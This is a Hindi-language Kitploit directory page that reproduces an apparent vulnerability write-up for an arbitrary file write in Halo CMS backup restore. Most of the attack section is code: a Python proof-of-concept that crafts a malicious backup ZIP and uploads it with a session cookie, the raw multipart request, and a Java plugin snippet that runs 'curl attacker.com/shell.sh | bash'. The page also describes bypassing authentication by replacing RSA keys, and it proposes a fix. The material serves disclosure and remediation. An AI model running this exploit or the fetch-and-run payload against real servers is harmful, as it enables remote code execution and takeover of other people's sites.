Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — हैलो CMS बैकअप पुनर्स्थापना में मनमानी फ़ाइल लेखन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्लगइन JAR प्रतिस्थापन या प्रमाणीकरण बाईपास के माध्यम से RCE सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

हैलो CMS बैकअप पुनर्स्थापना में मनमानी फ़ाइल लेखन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो प्लगइन JAR प्रतिस्थापन या प्रमाणीकरण बाईपास के माध्यम से RCE सक्षम करता है।

रिपॉजिटरी देखें
32 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Halo CMS बैकअप रिस्टोर आर्बिट्ररी फ़ाइल राइट भेद्यता

सारांश

Halo CMS के 2.25.4 तक के संस्करणों में बैकअप पुनर्स्थापना कार्यक्षमता में एक गंभीर आर्बिट्ररी फ़ाइल राइट भेद्यता मौजूद है। MigrationServiceImpl.java में restoreWorkdir() विधि उपयोगकर्ता-आपूर्ति किए गए बैकअप आर्काइव से workdir/ निर्देशिका को सीधे Halo एप्लिकेशन की कार्यशील निर्देशिका (~/.halo2/) में कॉपी करती है, बिना फ़ाइल प्रकारों के किसी सत्यापन, पाथ ट्रैवर्सल सुरक्षा, या सिम्बोलिक लिंक जाँच के। बैकअप प्रबंधन विशेषाधिकारों वाला एक प्रमाणित हमलावर workdir/ निर्देशिका में आर्बिट्ररी फ़ाइलों वाली एक दुर्भावनापूर्ण बैकअप ZIP फ़ाइल तैयार कर सकता है, जो पुनर्स्थापना पर सर्वर की कार्यशील निर्देशिका में लिखी जाएंगी, जिससे प्लगइन JAR प्रतिस्थापन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) या RSA कुंजी प्रतिस्थापन के माध्यम से प्रमाणीकरण बायपास हो सकता है।

CVSS v3.1 स्कोर: 8.8 (उच्च)
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE-73 (फ़ाइल नाम या पथ का बाहरी नियंत्रण)


CWE:

प्रभावित संस्करण

  • Halo CMS ≤ 2.25.4
  • बैकअप पुनर्स्थापना कार्यक्षमता वाले सभी संस्करण

भेद्यता विवरण

मूल कारण

यह भेद्यता MigrationServiceImpl.java की restoreWorkdir() विधि (पंक्तियाँ 230-243) में निहित है:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

copyRecursively() विधि (Spring का FileSystemUtils) निम्नलिखित के बिना एक पुनरावर्ती कॉपी करती है:

  1. फ़ाइल प्रकार सत्यापन - फ़ाइल एक्सटेंशन या MIME प्रकारों की कोई जाँच नहीं
  2. पाथ ट्रैवर्सल सुरक्षा - फ़ाइलनामों में .. अनुक्रमों की कोई जाँच नहीं
  3. सिम्बोलिक लिंक पहचान - सिम्बोलिक लिंक की कोई जाँच नहीं
  4. फ़ाइल आकार सीमाएँ - फ़ाइल आकारों पर कोई प्रतिबंध नहीं
  5. ओवरराइट सुरक्षा - मौजूदा फ़ाइलों को चुपचाप ओवरराइट करता है

हमला वेक्टर

यह भेद्यता बैकअप पुनर्स्थापना एंडपॉइंट के माध्यम से ट्रिगर होती है:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

पुनर्स्थापना प्रक्रिया इस क्रम का अनुसरण करती है:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP को अस्थायी निर्देशिका में निकालें   │
│  2. restoreExtensions() → extensions.data पुनर्स्थापित करें │
│  3. restoreWorkdir() → workdir/ को ~/.halo2/ में कॉपी करें   │
│     ↑ आर्बिट्ररी फ़ाइलें कार्यशील निर्देशिका में लिखी जाती हैं│
└─────────────────────────────────────────────────────────────┘

दुर्भावनापूर्ण बैकअप संरचना

एक दुर्भावनापूर्ण बैकअप ZIP फ़ाइल में निम्नलिखित होना चाहिए:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # आवश्यक: खाली या मान्य JSONL हो सकता है
└── workdir/                 # आवश्यक: सामग्री ~/.halo2/ में कॉपी की जाती है
    ├── PWNED_BY_POC.txt     # प्रूफ ऑफ कॉन्सेप्ट मार्कर फ़ाइल
    ├── plugins/             # RCE के लिए प्लगइन JAR
    │   └── evil-plugin.jar  # दुर्भावनापूर्ण प्लगइन
    └── keys/                # प्रमाणीकरण बायपास के लिए RSA कुंजियाँ
        ├── pat_id_rsa       # दुर्भावनापूर्ण निजी कुंजी
        └── pat_id_rsa.pub   # दुर्भावनापूर्ण सार्वजनिक कुंजी

extensions.data प्रारूप

restoreExtensions() के सफल होने के लिए extensions.data फ़ाइल मान्य होनी चाहिए। मान्य प्रारूपों में शामिल हैं:

  1. खाली फ़ाइल: (खाली सामग्री)

  2. खाली पंक्ति: \n (केवल न्यूलाइन)

  3. मान्य JSONL: प्रति पंक्ति एक ExtensionStore ऑब्जेक्ट:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    जहाँ data base64-एन्कोडेड सामग्री है।


शोषण चरण

पूर्वापेक्षाएँ

  • बैकअप प्रबंधन विशेषाधिकारों वाला प्रमाणित उपयोगकर्ता
  • Halo API तक नेटवर्क पहुँच

चरण 1: दुर्भावनापूर्ण बैकअप बनाएँ

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # खाली extensions.data (restoreExtensions सत्यापन पास करता है)
    zf.writestr('extensions.data', '\n')

    # ~/.halo2/ में लिखने के लिए आर्बिट्ररी फ़ाइल
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

चरण 2: दुर्भावनापूर्ण बैकअप अपलोड करें

फ्रंटएंड बैकअप प्रबंधन पता: http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

चरण 3: फ़ाइल लिखे जाने की पुष्टि करें

root@kitploit:~
# Halo सर्वर पर
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

प्रभाव विश्लेषण

प्रत्यक्ष प्रभाव

  1. आर्बिट्ररी फ़ाइल राइट: हमलावर ~/.halo2/ में कोई भी फ़ाइल लिख सकता है
  2. फ़ाइल ओवरराइट: मौजूदा फ़ाइलें चुपचाप ओवरराइट हो जाती हैं

एस्केलेशन परिदृश्य

हमला वेक्टरलक्ष्य फ़ाइलप्रभावगंभीरता
प्लगइन JAR प्रतिस्थापन~/.halo2/plugins/*.jarरिमोट कोड एक्ज़ीक्यूशनगंभीर
RSA कुंजी प्रतिस्थापन~/.halo2/keys/pat_id_rsaप्रमाणीकरण बायपासगंभीर
थीम प्रतिस्थापन~/.halo2/themes/*संग्रहीत XSSउच्च
कॉन्फ़िगरेशन ओवरराइट~/.halo2/*.yamlसुरक्षा नियंत्रण बायपासउच्च

प्लगइन JAR प्रतिस्थापन के माध्यम से RCE

एक हमलावर एक वैध प्लगइन JAR को निम्नलिखित युक्त दुर्भावनापूर्ण JAR से बदल सकता है:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // मनमाना कमांड निष्पादित करें
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

जब प्लगइन लोड होता है, दुर्भावनापूर्ण कोड Halo प्रक्रिया के विशेषाधिकारों के साथ निष्पादित होता है।


प्रूफ ऑफ कॉन्सेप्ट

Python PoC स्क्रिप्ट

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

सत्यापन

root@kitploit:~
# PoC निष्पादित करें
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Halo सर्वर पर
cat ~/.halo2/PWNED_BY_POC.txt

उपचार

अनुशंसित सुधार

restoreWorkdir() विधि में सत्यापन जोड़ें:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // कोई पाथ ट्रैवर्सल नहीं है इसकी पुष्टि करें
                checkDirectoryTraversal(backupRoot, workdir);

                // कोई सिम्बोलिक लिंक नहीं है इसकी पुष्टि करें
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // सत्यापन के साथ कॉपी करें
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

अतिरिक्त अनुशंसाएँ

  1. बैकअप हस्ताक्षर लागू करें: छेड़छाड़ को रोकने के लिए बैकअप को क्रिप्टोग्राफ़िक रूप से हस्ताक्षरित करें
  2. फ़ाइल प्रकार अनुमतिसूची जोड़ें: workdir में केवल विशिष्ट फ़ाइल प्रकारों की अनुमति दें
  3. फ़ाइल आकार सीमाएँ लागू करें: अधिकतम फ़ाइल आकारों को प्रतिबंधित करें
  4. ऑडिट लॉगिंग जोड़ें: सभी बैकअप पुनर्स्थापना संचालन लॉग करें
  5. पुनः-प्रमाणीकरण आवश्यक करें: बैकअप पुनर्स्थापना के लिए पासवर्ड पुष्टि की आवश्यकता हो

संदर्भ

  • विक्रेता: https://github.com/halo-dev/halo
  • प्रभावित कोड: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • CVSS कैलकुलेटर: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

समयरेखा

  • खोज तिथि: 2026-07-10
  • विक्रेता सूचना: [लंबित]
  • सार्वजनिक प्रकटीकरण: [लंबित]

श्रेय

  • खोजकर्ता: LIAN

अस्वीकरण

यह भेद्यता प्रकटीकरण केवल सुरक्षा अनुसंधान उद्देश्यों के लिए है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं है। सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।

टूल डाउनलोड करें